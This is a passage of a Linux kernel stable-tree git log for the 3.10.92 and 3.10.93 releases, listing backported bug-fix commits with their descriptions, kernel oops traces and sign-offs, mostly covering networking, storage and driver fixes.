ES: 0000 CR0: 000000008005003b [135546.063682] CR2: 000000000000846a CR3: 000000009d137000 CR4: 00000000000006a0 [135546.064723] Stack: [135546.065048] ffffffffafe2055c ffffffffafe23fc1 ffffed00493097bf ffff8801ec3d0008 [135546.066247] 0000000000000000 00000000000000d0 0000000000000000 ac194a24c0586342 [135546.067438] 1ffff100178e1f78 ffff880320581b00 ffff8800bc70fdd0 ffff880320581b00 [135546.068629] Call Trace: [135546.069028] ? __rds_conn_create (include/linux/rcupdate.h:856 net/rds/connection.c:134) [135546.069989] ? rds_message_copy_from_user (net/rds/message.c:298) [135546.071021] rds_conn_create_outgoing (net/rds/connection.c:278) [135546.071981] rds_sendmsg (net/rds/send.c:1058) [135546.072858] ? perf_trace_lock (include/trace/events/lock.h:38) [135546.073744] ? lockdep_init (kernel/locking/lockdep.c:3298) [135546.074577] ? rds_send_drop_to (net/rds/send.c:976) [135546.075508] ? __might_fault (./arch/x86/include/asm/current.h:14 mm/memory.c:3795) [135546.076349] ? __might_fault (mm/memory.c:3795) [135546.077179] ? rds_send_drop_to (net/rds/send.c:976) [135546.078114] sock_sendmsg (net/socket.c:611 net/socket.c:620) [135546.078856] SYSC_sendto (net/socket.c:1657) [135546.079596] ? SYSC_connect (net/socket.c:1628) [135546.080510] ? trace_dump_stack (kernel/trace/trace.c:1926) [135546.081397] ? ring_buffer_unlock_commit (kernel/trace/ring_buffer.c:2479 kernel/trace/ring_buffer.c:2558 kernel/trace/ring_buffer.c:2674) [135546.082390] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) [135546.083410] ? trace_event_raw_event_sys_enter (include/trace/events/syscalls.h:16) [135546.084481] ? do_audit_syscall_entry (include/trace/events/syscalls.h:16) [135546.085438] ? trace_buffer_unlock_commit (kernel/trace/trace.c:1749) [135546.085515] rds_ib_laddr_check(): addr 36.74.25.172 ret -99 node type -1 Acked-by: Santosh Shilimkar Signed-off-by: Sasha Levin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 419db8342f4e3063536a7c645e4230a5865d5aac Author: Jason Wang Date: Wed Aug 5 10:34:04 2015 +0800 virtio-net: drop NETIF_F_FRAGLIST [ Upstream commit 48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39 ] virtio declares support for NETIF_F_FRAGLIST, but assumes that there are at most MAX_SKB_FRAGS + 2 fragments which isn't always true with a fraglist. A longer fraglist in the skb will make the call to skb_to_sgvec overflow the sg array, leading to memory corruption. Drop NETIF_F_FRAGLIST so we only get what we can handle. Cc: Michael S. Tsirkin Signed-off-by: Jason Wang Acked-by: Michael S. Tsirkin Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82c5c8943c9b71fa888edda091d3338c6c8822fe Author: Eric Dumazet Date: Mon Nov 9 17:51:23 2015 -0800 net: fix a race in dst_release() [ Upstream commit d69bbf88c8d0b367cf3e3a052f6daadf630ee566 ] Only cpu seeing dst refcount going to 0 can safely dereference dst->flags. Otherwise an other cpu might already have freed the dst. Fixes: 27b75c95f10d ("net: avoid RCU for NOCACHE dst") Reported-by: Greg Thelen Signed-off-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cf22ae176ea1813cc7bc5d9b6a0f26648bdb14cb Author: Eric Dumazet Date: Mon Nov 2 07:50:07 2015 -0800 net: avoid NULL deref in inet_ctl_sock_destroy() [ Upstream commit 8fa677d2706d325d71dab91bf6e6512c05214e37 ] Under low memory conditions, tcp_sk_init() and icmp_sk_init() can both iterate on all possible cpus and call inet_ctl_sock_destroy(), with eventual NULL pointer. Signed-off-by: Eric Dumazet Reported-by: Dmitry Vyukov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b25d89ed51b518d399b12dc736a7c8e3f90b0e99 Author: Ani Sinha Date: Fri Oct 30 16:54:31 2015 -0700 ipmr: fix possible race resulting from improper usage of IP_INC_STATS_BH() in preemptible context. [ Upstream commit 44f49dd8b5a606870a1f21101522a0f9c4414784 ] Fixes the following kernel BUG : BUG: using __this_cpu_add() in preemptible [00000000] code: bash/2758 caller is __this_cpu_preempt_check+0x13/0x15 CPU: 0 PID: 2758 Comm: bash Tainted: P O 3.18.19 #2 ffffffff8170eaca ffff880110d1b788 ffffffff81482b2a 0000000000000000 0000000000000000 ffff880110d1b7b8 ffffffff812010ae ffff880007cab800 ffff88001a060800 ffff88013a899108 ffff880108b84240 ffff880110d1b7c8 Call Trace: [] dump_stack+0x52/0x80 [] check_preemption_disabled+0xce/0xe1 [] __this_cpu_preempt_check+0x13/0x15 [] ipmr_queue_xmit+0x647/0x70c [] ip_mr_forward+0x32f/0x34e [] ip_mroute_setsockopt+0xe03/0x108c [] ? get_parent_ip+0x11/0x42 [] ? pollwake+0x4d/0x51 [] ? default_wake_function+0x0/0xf [] ? get_parent_ip+0x11/0x42 [] ? __wake_up_common+0x45/0x77 [] ? _raw_spin_unlock_irqrestore+0x1d/0x32 [] ? __wake_up_sync_key+0x4a/0x53 [] ? sock_def_readable+0x71/0x75 [] do_ip_setsockopt+0x9d/0xb55 [] ? unix_seqpacket_sendmsg+0x3f/0x41 [] ? sock_sendmsg+0x6d/0x86 [] ? sockfd_lookup_light+0x12/0x5d [] ? SyS_sendto+0xf3/0x11b [] ? new_sync_read+0x82/0xaa [] compat_ip_setsockopt+0x3b/0x99 [] compat_raw_setsockopt+0x11/0x32 [] compat_sock_common_setsockopt+0x18/0x1f [] compat_SyS_setsockopt+0x1a9/0x1cf [] compat_SyS_socketcall+0x180/0x1e3 [] cstar_dispatch+0x7/0x1e Signed-off-by: Ani Sinha Acked-by: Eric Dumazet Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b963494d4554b1d584a03dfe3fc1a3274443bf16 Author: Phil Reid Date: Fri Oct 30 16:43:55 2015 +0800 stmmac: Correctly report PTP capabilities. [ Upstream commit e6dbe1eb2db0d7a14991c06278dd3030c45fb825 ] priv->hwts_*_en indicate if timestamping is enabled/disabled at run time. But priv->dma_cap.time_stamp and priv->dma_cap.atime_stamp indicates HW is support for PTPv1/PTPv2. Signed-off-by: Phil Reid Acked-by: Richard Cochran Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f7f2a4ca83e35d4af39351c7ca68b9aac12e261e Author: Carol L Soto Date: Tue Oct 27 17:36:20 2015 +0200 net/mlx4: Copy/set only sizeof struct mlx4_eqe bytes [ Upstream commit c02b05011fadf8e409e41910217ca689f2fc9d91 ] When doing memcpy/memset of EQEs, we should use sizeof struct mlx4_eqe as the base size and not caps.eqe_size which could be bigger. If caps.eqe_size is bigger than the struct mlx4_eqe then we corrupt data in the master context. When using a 64 byte stride, the memcpy copied over 63 bytes to the slave_eq structure. This resulted in copying over the entire eqe of interest, including its ownership bit -- and also 31 bytes of garbage into the next WQE in the slave EQ -- which did NOT include the ownership bit (and therefore had no impact). However, once the stride is increased to 128, we are overwriting the ownership bits of *three* eqes in the slave_eq struct. This results in an incorrect ownership bit for those eqes, which causes the eq to seem to be full. The issue therefore surfaced only once 128-byte EQEs started being used in SRIOV and (overarchitectures that have 128/256 byte cache-lines such as PPC) - e.g after commit 77507aa249ae "net/mlx4_core: Enable CQE/EQE stride support". Fixes: 08ff32352d6f ('mlx4: 64-byte CQE/EQE support') Signed-off-by: Carol L Soto Signed-off-by: Jack Morgenstein Signed-off-by: Or Gerlitz Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5237e3e503a6aff7ae0426813240b3f9cbb6fc40 Author: Sowmini Varadhan Date: Mon Oct 26 12:46:37 2015 -0400 RDS-TCP: Recover correctly from pskb_pull()/pksb_trim() failure in rds_tcp_data_recv [ Upstream commit 8ce675ff39b9958d1c10f86cf58e357efaafc856 ] Either of pskb_pull() or pskb_trim() may fail under low memory conditions. If rds_tcp_data_recv() ignores such failures, the application will receive corrupted data because the skb has not been correctly carved to the RDS datagram size. Avoid this by handling pskb_pull/pskb_trim failure in the same manner as the skb_clone failure: bail out of rds_tcp_data_recv(), and retry via the deferred call to rds_send_worker() that gets set up on ENOMEM from rds_tcp_read_sock() Signed-off-by: Sowmini Varadhan Acked-by: Santosh Shilimkar Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 5614b1673fb54e7f6cadbebb5a5b30dd14320546 Author: Guillaume Nault Date: Thu Oct 22 16:57:10 2015 +0200 ppp: fix pppoe_dev deletion condition in pppoe_release() [ Upstream commit 1acea4f6ce1b1c0941438aca75dd2e5c6b09db60 ] We can't rely on PPPOX_ZOMBIE to decide whether to clear po->pppoe_dev. PPPOX_ZOMBIE can be set by pppoe_disc_rcv() even when po->pppoe_dev is NULL. So we have no guarantee that (sk->sk_state & PPPOX_ZOMBIE) implies (po->pppoe_dev != NULL). Since we're releasing a PPPoE socket, we want to release the pppoe_dev if it exists and reset sk_state to PPPOX_DEAD, no matter the previous value of sk_state. So we can just check for po->pppoe_dev and avoid any assumption on sk->sk_state. Fixes: 2b018d57ff18 ("pppoe: drop PPPOX_ZOMBIEs in pppoe_release") Signed-off-by: Guillaume Nault Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 604ea661fd78ad38fed33201f44d61f6bce8d02c Author: Dan Carpenter Date: Mon Oct 19 13:16:49 2015 +0300 irda: precedence bug in irlmp_seq_hb_idx() [ Upstream commit 50010c20597d14667eff0fdb628309986f195230 ] This is decrementing the pointer, instead of the value stored in the pointer. KASan detects it as an out of bounds reference. Reported-by: "Berry Cheng 程å›(æˆæ·¼)" Signed-off-by: Dan Carpenter Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 38fd98d927a51c6e836095e04097dd5b441f9003 Author: Greg Kroah-Hartman Date: Mon Nov 9 10:13:32 2015 -0800 Linux 3.10.93 Signed-off-by: Pranav Vashi commit c26d1a487633d55b872d3346809528af4440c08e Author: Greg Kroah-Hartman Date: Fri Nov 6 11:07:07 2015 -0800 xen: fix backport of previous kexec patch Fixes the backport of 0b34a166f291d255755be46e43ed5497cdd194f2 upstream Commit 0b34a166f291d255755be46e43ed5497cdd194f2 "x86/xen: Support kexec/kdump in HVM guests by doing a soft reset" has been added to the 4.2-stable tree" needed to correct the CONFIG variable, as CONFIG_KEXEC_CORE only showed up in 4.3. Reported-by: David Vrabel Reported-by: Luis Henriques Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit c90ba2e99de62b273c907645c904ca612b1bc336 Author: Doron Tsur Date: Sun Oct 11 15:58:17 2015 +0300 IB/cm: Fix rb-tree duplicate free and use-after-free commit 0ca81a2840f77855bbad1b9f172c545c4dc9e6a4 upstream. ib_send_cm_sidr_rep could sometimes erase the node from the sidr (depending on errors in the process). Since ib_send_cm_sidr_rep is called both from cm_sidr_req_handler and cm_destroy_id, cm_id_priv could be either erased from the rb_tree twice or not erased at all. Fixing that by making sure it's erased only once before freeing cm_id_priv. Fixes: a977049dacde ('[PATCH] IB: Add the kernel CM implementation') Signed-off-by: Doron Tsur Signed-off-by: Matan Barak Signed-off-by: Doug Ledford Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 896a66b9589abf88ed7245b4f7718af69e3fa069 Author: DÄvis MosÄns Date: Fri Aug 21 07:29:22 2015 +0300 mvsas: Fix NULL pointer dereference in mvs_slot_task_free commit 2280521719e81919283b82902ac24058f87dfc1b upstream. When pci_pool_alloc fails in mvs_task_prep then task->lldd_task stays NULL but it's later used in mvs_abort_task as slot which is passed to mvs_slot_task_free causing NULL pointer dereference. Just return from mvs_slot_task_free when passed with NULL slot. Bugzilla: https://bugzilla.kernel.org/show_bug.cgi?id=101891 Signed-off-by: DÄvis MosÄns Reviewed-by: Tomas Henzl Reviewed-by: Johannes Thumshirn Signed-off-by: James Bottomley Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 29a8ebdb9a33c22e5b97c5e5c293ff13d4435806 Author: Jes Sorensen Date: Tue Oct 20 12:09:13 2015 -0400 md/raid10: submit_bio_wait() returns 0 on success commit 681ab4696062f5aa939c9e04d058732306a97176 upstream. This was introduced with 9e882242c6193ae6f416f2d8d8db0d9126bd996b which changed the return value of submit_bio_wait() to return != 0 on error, but didn't update the caller accordingly. Fixes: 9e882242c6 ("block: Add submit_bio_wait(), remove from md") Reported-by: Bill Kuzeja Signed-off-by: Jes Sorensen Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f6ebba2b39b861685a928268bac437032bc1166a Author: Jes Sorensen Date: Tue Oct 20 12:09:12 2015 -0400 md/raid1: submit_bio_wait() returns 0 on success commit 203d27b0226a05202438ddb39ef0ef1acb14a759 upstream. This was introduced with 9e882242c6193ae6f416f2d8d8db0d9126bd996b which changed the return value of submit_bio_wait() to return != 0 on error, but didn't update the caller accordingly. Fixes: 9e882242c6 ("block: Add submit_bio_wait(), remove from md") Reported-by: Bill Kuzeja Signed-off-by: Jes Sorensen Signed-off-by: NeilBrown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 556f2c9637fead855cf9895e8f1b8627893d45c9 Author: Herbert Xu Date: Mon Oct 19 18:23:57 2015 +0800 crypto: api - Only abort operations on fatal signal commit 3fc89adb9fa4beff31374a4bf50b3d099d88ae83 upstream. Currently a number of Crypto API operations may fail when a signal occurs. This causes nasty problems as the caller of those operations are often not in a good position to restart the operation. In fact there is currently no need for those operations to be interrupted by user signals at all. All we need is for them to be killable. This patch replaces the relevant calls of signal_pending with fatal_signal_pending, and wait_for_completion_interruptible with wait_for_completion_killable, respectively. Signed-off-by: Herbert Xu Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3b5a940f6490cf5bea75fca05d50fe526c84edfe Author: Peter Zijlstra Date: Thu Aug 20 10:34:59 2015 +0930 module: Fix locking in symbol_put_addr() commit 275d7d44d802ef271a42dc87ac091a495ba72fc5 upstream. Poma (on the way to another bug) reported an assertion triggering: [] module_assert_mutex_or_preempt+0x49/0x90 [] __module_address+0x32/0x150 [] __module_text_address+0x16/0x70 [] symbol_put_addr+0x29/0x40 [] dvb_frontend_detach+0x7d/0x90 [dvb_core] Laura Abbott produced a patch which lead us to inspect symbol_put_addr(). This function has a comment claiming it doesn't need to disable preemption around the module lookup because it holds a reference to the module it wants to find, which therefore cannot go away. This is wrong (and a false optimization too, preempt_disable() is really rather cheap, and I doubt any of this is on uber critical paths, otherwise it would've retained a pointer to the actual module anyway and avoided the second lookup). While its true that the module cannot go away while we hold a reference on it, the data structure we do the lookup in very much _CAN_ change while we do the lookup. Therefore fix the comment and add the required preempt_disable(). Reported-by: poma Signed-off-by: Peter Zijlstra (Intel) Signed-off-by: Rusty Russell Fixes: a6e6abd575fc ("module: remove module_text_address()") Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 37bb1f91671936c6b01252e263073136acf75ba0 Author: Cathy Avery Date: Fri Oct 2 09:35:01 2015 -0400 xen-blkfront: check for null drvdata in blkback_changed (XenbusStateClosing) commit a54c8f0f2d7df525ff997e2afe71866a1a013064 upstream. xen-blkfront will crash if the check to talk_to_blkback() in blkback_changed()(XenbusStateInitWait) returns an error. The driver data is freed and info is set to NULL. Later during the close process via talk_to_blkback's call to xenbus_dev_fatal() the null pointer is passed to and dereference in blkfront_closing. Signed-off-by: Cathy Avery Signed-off-by: Konrad Rzeszutek Wilk Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 473e006288c23e5704d0ef11096b25f2d7a2811d Author: Mathias Nyman Date: Mon Oct 12 11:30:12 2015 +0300 xhci: handle no ping response error properly commit 3b4739b8951d650becbcd855d7d6f18ac98a9a85 upstream. If a host fails to wake up a isochronous SuperSpeed device from U1/U2 in time for a isoch transfer it will generate a "No ping response error" Host will then move to the next transfer descriptor. Handle this case in the same way as missed service errors, tag the current TD as skipped and handle it on the next transfer event. Signed-off-by: Mathias Nyman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 15a857987006a4c7d6e1b43cef3be430c3be8315 Author: Mike Snitzer Date: Thu Oct 22 10:56:40 2015 -0400 dm btree: fix leak of bufio-backed block in btree_split_beneath error path commit 4dcb8b57df3593dcb20481d9d6cf79d1dc1534be upstream. btree_split_beneath()'s error path had an outstanding FIXME that speaks directly to the potential for _not_ cleaning up a previously allocated bufio-backed block. Fix this by releasing the previously allocated bufio block using unlock_block(). Reported-by: Mikulas Patocka Signed-off-by: Mike Snitzer Acked-by: Joe Thornber Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 00792b76427b2d890fee2b40de20a417f58cdf72 Author: Joe Thornber Date: Wed Oct 21 18:36:49 2015 +0100 dm btree remove: fix a bug when rebalancing nodes after removal commit 2871c69e025e8bc507651d5a9cf81a8a7da9d24b upstream. Commit 4c7e309340ff ("dm btree remove: fix bug in redistribute3") wasn't a complete fix for redistribute3(). The redistribute3 function takes 3 btree nodes and shares out the entries evenly between them. If the three nodes in total contained (MAX_ENTRIES * 3) - 1 entries between them then this was erroneously getting rebalanced as (MAX_ENTRIES - 1) on the left and right, and (MAX_ENTRIES + 1) in the center. Fix this issue by being more careful about calculating the target number of entries for the left and right nodes. Unit tested in userspace using this program: https://github.com/jthornber/redistribute3-test/blob/master/redistribute3_t.c Signed-off-by: Joe Thornber Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1bb8c29bf4080718d268013112569290c639ce56 Author: Will Deacon Date: Wed Oct 28 16:56:13 2015 +0000 Revert "ARM64: unwind: Fix PC calculation" commit 9702970c7bd3e2d6fecb642a190269131d4ac16c upstream. This reverts commit e306dfd06fcb44d21c80acb8e5a88d55f3d1cf63. With this patch applied, we were the only architecture making this sort of adjustment to the PC calculation in the unwinder. This causes problems for ftrace, where the PC values are matched against the contents of the stack frames in the callchain and fail to match any records after the address adjustment. Whilst there has been some effort to change ftrace to workaround this, those patches are not yet ready for mainline and, since we're the odd architecture in this regard, let's just step in line with other architectures (like arch/arm/) for now. Signed-off-by: Will Deacon Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 2f850ae113113304b4810e277af999f3935f7aa3 Author: Ilya Dryomov Date: Sun Oct 11 19:38:00 2015 +0200 rbd: prevent kernel stack blow up on rbd map commit 6d69bb536bac0d403d83db1ca841444981b280cd upstream. Mapping an image with a long parent chain (e.g. image foo, whose parent is bar, whose parent is baz, etc) currently leads to a kernel stack overflow, due to the following recursion in the reply path: rbd_osd_req_callback() rbd_obj_request_complete() rbd_img_obj_callback() rbd_img_parent_read_callback() rbd_obj_request_complete() ... Limit the parent chain to 16 images, which is ~5K worth of stack. When the above recursion is eliminated, this limit can be lifted. Fixes: http://tracker.ceph.com/issues/12538 Signed-off-by: Ilya Dryomov Reviewed-by: Josh Durgin [idryomov@gmail.com: backport to 3.10: rbd_dev->opts, context] Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 66b72ccb2160eed150a21b853bb29275a81cbccb Author: Ilya Dryomov Date: Sun Oct 11 19:38:00 2015 +0200 rbd: don't leak parent_spec in rbd_dev_probe_parent() commit 1f2c6651f69c14d0d3a9cfbda44ea101b02160ba upstream. Currently we leak parent_spec and trigger a "parent reference underflow" warning if rbd_dev_create() in rbd_dev_probe_parent() fails. The problem is we take the !parent out_err branch and that only drops refcounts; parent_spec that would've been freed had we called rbd_dev_unparent() remains and triggers rbd_warn() in rbd_dev_parent_put() - at that point we have parent_spec != NULL and parent_ref == 0, so counter ends up being -1 after the decrement. Redo rbd_dev_probe_parent() to fix this. Signed-off-by: Ilya Dryomov [idryomov@gmail.com: backport to < 4.2: rbd_dev->opts] Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6f3ba2cf9756674742f7b8a14aae31a817c2b117 Author: Ronny Hegewald Date: Thu Oct 15 18:50:46 2015 +0000 rbd: require stable pages if message data CRCs are enabled commit bae818ee1577c27356093901a0ea48f672eda514 upstream. rbd requires stable pages, as it performs a crc of the page data before they are send to the OSDs. But since kernel 3.9 (patch 1d1d1a767206fbe5d4c69493b7e6d2a8d08cc0a0 "mm: only enforce stable page writes if the backing device requires it") it is not assumed anymore that block devices require stable pages. This patch sets the necessary flag to get stable pages back for rbd. In a ceph installation that provides multiple ext4 formatted rbd devices "bad crc" messages appeared regularly (ca 1 message every 1-2 minutes on every OSD that provided the data for the rbd) in the OSD-logs before this patch. After this patch this messages are pretty much gone (only ca 1-2 / month / OSD). Signed-off-by: Ronny Hegewald [idryomov@gmail.com: require stable pages only in crc case, changelog] [idryomov@gmail.com: backport to 3.9-3.17: context] Signed-off-by: Ilya Dryomov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b771f905a37cec24085d31af0693634234d43ef3 Author: Ilia Mirkin Date: Tue Oct 20 01:15:39 2015 -0400 drm/nouveau/gem: return only valid domain when there's only one commit 2a6c521bb41ce862e43db46f52e7681d33e8d771 upstream. On nv50+, we restrict the valid domains to just the one where the buffer was originally created. However after the buffer is evicted to system memory, we might move it back to a different domain that was not originally valid. When sharing the buffer and retrieving its GEM_INFO data, we still want the domain that will be valid for this buffer in a pushbuf, not the one where it currently happens to be. This resolves fdo#92504 and several others. These are due to suspend evicting all buffers, making it more likely that they temporarily end up in the wrong place. Bugzilla: https://bugs.freedesktop.org/show_bug.cgi?id=92504 Signed-off-by: Ilia Mirkin Signed-off-by: Ben Skeggs Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 65911a0349df1ce5b785c044926bdd9c5fa86c52 Author: Jan Kara Date: Thu Oct 22 13:32:21 2015 -0700 mm: make sendfile(2) killable commit 296291cdd1629c308114504b850dc343eabc2782 upstream. Currently a simple program below issues a sendfile(2) system call which takes about 62 days to complete in my test KVM instance. int fd; off_t off = 0; fd = open("file", O_RDWR | O_TRUNC | O_SYNC | O_CREAT, 0644); ftruncate(fd, 2); lseek(fd, 0, SEEK_END); sendfile(fd, fd, &off, 0xfffffff); Now you should not ask kernel to do a stupid stuff like copying 256MB in 2-byte chunks and call fsync(2) after each chunk but if you do, sysadmin should have a way to stop you. We actually do have a check for fatal_signal_pending() in generic_perform_write() which triggers in this path however because we always succeed in writing something before the check is done, we return value > 0 from generic_perform_write() and thus the information about signal gets lost. Fix the problem by doing the signal check before writing anything. That way generic_perform_write() returns -EINTR, the error gets propagated up and the sendfile loop terminates early. Signed-off-by: Jan Kara Reported-by: Dmitry Vyukov Cc: Al Viro Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3e115c26b4e33a60e7d47acbd54cf71341b8b034 Author: Charles Keepax Date: Tue Oct 20 10:25:58 2015 +0100 ASoC: wm8904: Correct number of EQ registers commit 97aff2c03a1e4d343266adadb52313613efb027f upstream. There are 24 EQ registers not 25, I suspect this bug came about because the registers start at EQ1 not zero. The bug is relatively harmless as the extra register written is an unused one. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 0d31cdd6d8a218f997b7f6c317a111105eba3d65 Author: Vasant Hegde Date: Fri Oct 16 15:53:29 2015 +0530 powerpc/rtas: Validate rtas.entry before calling enter_rtas() commit 8832317f662c06f5c06e638f57bfe89a71c9b266 upstream. Currently we do not validate rtas.entry before calling enter_rtas(). This leads to a kernel oops when user space calls rtas system call on a powernv platform (see below). This patch adds code to validate rtas.entry before making enter_rtas() call. Oops: Exception in kernel mode, sig: 4 [#1] SMP NR_CPUS=1024 NUMA PowerNV task: c000000004294b80 ti: c0000007e1a78000 task.ti: c0000007e1a78000 NIP: 0000000000000000 LR: 0000000000009c14 CTR: c000000000423140 REGS: c0000007e1a7b920 TRAP: 0e40 Not tainted (3.18.17-340.el7_1.pkvm3_1_0.2400.1.ppc64le) MSR: 1000000000081000 CR: 00000000 XER: 00000000 CFAR: c000000000009c0c SOFTE: 0 NIP [0000000000000000] (null) LR [0000000000009c14] 0x9c14 Call Trace: [c0000007e1a7bba0] [c00000000041a7f4] avc_has_perm_noaudit+0x54/0x110 (unreliable) [c0000007e1a7bd80] [c00000000002ddc0] ppc_rtas+0x150/0x2d0 [c0000007e1a7be30] [c000000000009358] syscall_exit+0x0/0x98 Fixes: 55190f88789a ("powerpc: Add skeleton PowerNV platform") Reported-by: NAGESWARA R. SASTRY Signed-off-by: Vasant Hegde [mpe: Reword change log, trim oops, and add stable + fixes] Signed-off-by: Michael Ellerman Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f000d13e049c15b68069bec24bf99ebf0aa3fea7 Author: Joerg Roedel Date: Tue Oct 20 14:59:36 2015 +0200 iommu/amd: Don't clear DTE flags when modifying it commit cbf3ccd09d683abf1cacd36e3640872ee912d99b upstream. During device assignment/deassignment the flags in the DTE get lost, which might cause spurious faults, for example when the device tries to access the system management range. Fix this by not clearing the flags with the rest of the DTE. Reported-by: G. Richard Bellamy Tested-by: G. Richard Bellamy Signed-off-by: Joerg Roedel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f89ae830615521fd9e7b3479c26f2895257fc076 Author: Johannes Berg Date: Tue Sep 15 14:36:09 2015 +0200 iwlwifi: mvm: fix D3 firmware PN programming commit 2cf5eb3ab7bb7f2e3a70edcef236cd62c87db030 upstream. The code to send the RX PN data (for each TID) to the firmware has a devastating bug: it overwrites the data for TID 0 with all the TID data, leaving the remaining TIDs zeroed. This will allow replays to actually be accepted by the firmware, which could allow waking up the system. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 462e9c8c02345cdf1a386908a6883d52fb22512e Author: Johannes Berg Date: Tue Sep 15 14:36:09 2015 +0200 iwlwifi: dvm: fix D3 firmware PN programming commit 5bd166872d8f99f156fac191299d24f828bb2348 upstream. The code to send the RX PN data (for each TID) to the firmware has a devastating bug: it overwrites the data for TID 0 with all the TID data, leaving the remaining TIDs zeroed. This will allow replays to actually be accepted by the firmware, which could allow waking up the system. Signed-off-by: Johannes Berg Signed-off-by: Luca Coelho Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 553f690c1b047f41224cb8ea7bdda81617738aa9 Author: Felix Fietkau Date: Thu Sep 24 16:59:46 2015 +0200 ath9k: declare required extra tx headroom commit 029cd0370241641eb70235d205aa0b90c84dce44 upstream. ath9k inserts padding between the 802.11 header and the data area (to align it). Since it didn't declare this extra required headroom, this led to some nasty issues like randomly dropped packets in some setups. Signed-off-by: Felix Fietkau Signed-off-by: Kalle Valo Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dae3ff113ad2a67f2dc334cccbcf524325470eb Author: Greg Kroah-Hartman Date: Tue Oct 27 09:45:05 2015 +0900 Linux 3.10.92 Signed-off-by: Pranav Vashi commit 47745c604bddedae0e199aec9727cf8c7aaa518f Author: Ilya Dryomov Date: Mon Aug 31 15:21:39 2015 +0300 rbd: fix double free on rbd_dev->header_name commit 3ebe138ac642a195c7f2efdb918f464734421fd6 upstream. If rbd_dev_image_probe() in rbd_dev_probe_parent() fails, header_name is freed twice: once in rbd_dev_probe_parent() and then in its caller rbd_dev_image_probe() (rbd_dev_image_probe() is called recursively to handle parent images). rbd_dev_probe_parent() is responsible for probing the parent, so it shouldn't muck with clone's fields. Signed-off-by: Ilya Dryomov Reviewed-by: Alex Elder Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 16517480fb3eed75ff73854fd8c4d2f64bb63a97 Author: Mike Snitzer Date: Tue Oct 13 12:04:28 2015 -0400 dm thin: fix missing pool reference count decrement in pool_ctr error path commit ba30670f4d5292c4e7f7980bbd5071f7c4794cdd upstream. Fixes: ac8c3f3df ("dm thin: generate event when metadata threshold passed") Signed-off-by: Mike Snitzer Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 136d098edf54a8e7fbb1b067e01fcbc71da1f917 Author: Shaohua Li Date: Wed Sep 30 09:05:30 2015 -0700 workqueue: make sure delayed work run in local cpu commit 874bbfe600a660cba9c776b3957b1ce393151b76 upstream. My system keeps crashing with below message. vmstat_update() schedules a delayed work in current cpu and expects the work runs in the cpu. schedule_delayed_work() is expected to make delayed work run in local cpu. The problem is timer can be migrated with NO_HZ. __queue_work() queues work in timer handler, which could run in a different cpu other than where the delayed work is scheduled. The end result is the delayed work runs in different cpu. The patch makes __queue_delayed_work records local cpu earlier. Where the timer runs doesn't change where the work runs with the change. [ 28.010131] ------------[ cut here ]------------ [ 28.010609] kernel BUG at ../mm/vmstat.c:1392! [ 28.011099] invalid opcode: 0000 [#1] PREEMPT SMP DEBUG_PAGEALLOC KASAN [ 28.011860] Modules linked in: [ 28.012245] CPU: 0 PID: 289 Comm: kworker/0:3 Tainted: G W4.3.0-rc3+ #634 [ 28.013065] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.7.5-20140709_153802- 04/01/2014 [ 28.014160] Workqueue: events vmstat_update [ 28.014571] task: ffff880117682580 ti: ffff8800ba428000 task.ti: ffff8800ba428000 [ 28.015445] RIP: 0010:[] []vmstat_update+0x31/0x80 [ 28.016282] RSP: 0018:ffff8800ba42fd80 EFLAGS: 00010297 